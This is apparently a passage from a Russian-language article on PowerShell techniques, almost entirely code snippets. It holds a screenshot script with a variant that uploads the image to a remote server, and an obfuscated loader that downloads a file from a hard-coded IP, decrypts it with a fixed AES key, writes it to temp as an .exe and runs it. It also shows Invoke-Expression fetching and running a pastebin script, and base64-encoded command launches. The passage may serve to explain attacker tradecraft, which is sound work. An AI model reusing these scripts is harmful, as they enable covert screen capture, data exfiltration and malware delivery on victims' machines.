# Отправляем нажатие клавиши Print Screen, которое сделает скриншот всех экранов [Windows.Forms.SendKeys]::SendWait("{PRTSC}") # Даем системе время, чтобы обработать нажатие клавиши и получить изображение в буфер обмена Start-Sleep -Milliseconds 250 # Получаем изображение из буфера обмена $img = [Windows.Forms.Clipboard]::GetImage() # Сохраняем изображение в файл $filePath = "C:\1.png" $img.Save($filePath, [System.Drawing.Imaging.ImageFormat]::Png) # Выводим информацию о местоположении сохраненного файла Write-Host "Скриншот сохранён в файле: $filePath"
В интернете можно даже встретить вариант с автоматической отправкой картинки на веб‑сервер.
[Windows.Forms.Sendkeys]::SendWait("{PrtSc}") Start-Sleep -Milliseconds 250 $x = New-Object System.IO.MemoryStream [Windows.Forms.Clipboard]::GetImage().Save($x, [System.Drawing.Imaging.ImageFormat]::Png) Invoke-WebRequest -Uri "http://10.10.10.10:8080/upload?test.png" -Method POST -Body ([Convert]::ToBase64String($x.ToArray()))
Set-Item 'Variable:QLz0so' ([type]('System.IO.FileMode')) Set-Variable -Name l60Yu3 -Value ([type]('System.Security.Cryptography.AesCryptoServiceProvider')) Set-Variable -Name BI34 -Value ([type]('System.Security.Cryptography.CryptoStream')) $Url = 'http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51' $PTF = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51" Import-Module "BitsTransfer" Start-BitsTransfer -Source $url -Destination $path Invoke-WebRequest -Uri $Url -OutFile $PTF $Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.FileMode]::Open)) $MS = New-Object -TypeName 'System.IO.MemoryStream' $aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create() $aes.KeySize = 128 $KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0) $iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1) $aes.Key = $KEY $aes.IV = $iv $cs = New-Object -TypeName 'System.Security.Cryptography.CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write)) $fs.CopyTo($cs) $decD = $MS.ToArray() $CS.Write($decD, 0, $decD.Length) $decD | Out-File -Path "$env:temp\tmp7102591.exe" -Encoding Byte & "$env:temp\tmp7102591.exe"
Invoke-Expression -Command 'C:\directory\script.ps1' 'C:\directory\script.ps1' | Invoke-Expression Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код')) powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA== powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA== powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==